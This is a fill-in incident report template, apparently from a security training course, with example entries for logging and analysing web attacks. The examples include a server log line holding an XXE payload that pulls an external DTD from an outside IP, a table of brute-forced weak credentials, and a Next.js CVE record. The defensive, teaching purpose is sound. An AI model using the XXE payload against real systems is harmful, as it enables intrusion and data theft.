Incident Report 'X'

Reporter Name | Lighthouse Labs

Date and time of attack:

Attack vector:

Vector Diagnosis

1. Name of the attack.

2. Describe the attack in your language. What the attacker tried and if he was succcesful.

Attack Analysis

1. Mention the section of the application which was compromised.

2. Add the proof of the attack - e.g. URL in encoded as well as decoded format.

Example of log within code block below

```
158.52.23.93--[30/Sep/2020:07:49:26-0400]"GET/login.php?upload=<foo><!
[CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM
"http://57.21.52.73:22/">%dtd;]><xxx/>]]>
</foo>HTTP/1.1"2003343"http://www.cybintnews.com/index.html?upload=<foo><!
[CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM
"http://57.21.52.73:22/">%dtd;]><xxx/>]]>
</foo>""Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeG
ecko)Chrome/85.0.4183.121Safari/537.36
```

Example of Table below

Usernames	Passwords	Attempts
user1	password	1600
user2	password123	12
admin	noopassword	10

Another Example of a table

IP	Method of attack	Events	URI
127.0.0.1	XXE	**25**	`<foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM`
localhost	SQL Injection	3	

Visual Display

- Screenshot/Video showing the attack and how to find it.

Signature / CVE Details

CVE Example Below

```
CVE

CVE-2022-21721

Description

Next.js is a React framework. Starting with version 12.0.0 and prior to
version 12.0.9, vulnerable code could allow a bad actor to trigger a
denial of service attack for anyone using i18n functionality. In order to
be affected by this CVE, one must use next start or a custom server and
the built-in i18n support. Deployments on Vercel, along with similar
environments where invalid requests are filtered before reaching Next.js,
are not affected. A patch has been released, `next@12.0.9`, that mitigates
this issue. As a workaround, one may ensure `/${locale}/_next/` is blocked
from reaching the Next.js instance until it becomes feasible to upgrade.



References

CONFIRM:https://github.com/vercel/next.js/security/advisories/GHSA-wr66-
vrwm-5g5x

URL:https://github.com/vercel/next.js/security/advisories/GHSA-wr66-vrwm-
5g5x

MISC:https://github.com/vercel/next.js/pull/33503

URL:https://github.com/vercel/next.js/pull/33503

MISC:https://github.com/vercel/next.js/releases/tag/v12.0.9

URL:https://github.com/vercel/next.js/releases/tag/v12.0.9



Assigning CNA

GitHub (maintainer security advisories)

Date Record Created

20211116 Disclaimer: The record creation date may reflect when the CVE ID
was allocated or reserved, and does not necessarily indicate when this
```

```
vulnerability was discovered, shared with the affected vendor, publicly
disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20211116)
```

If possible Score the attack by using this tool - https://www.first.org/cvss/calculator/3.0

Mitigation Steps

How to recover your applications back to normal behaviour

Recovery Steps

Back up plan in case of future attacks

More Notes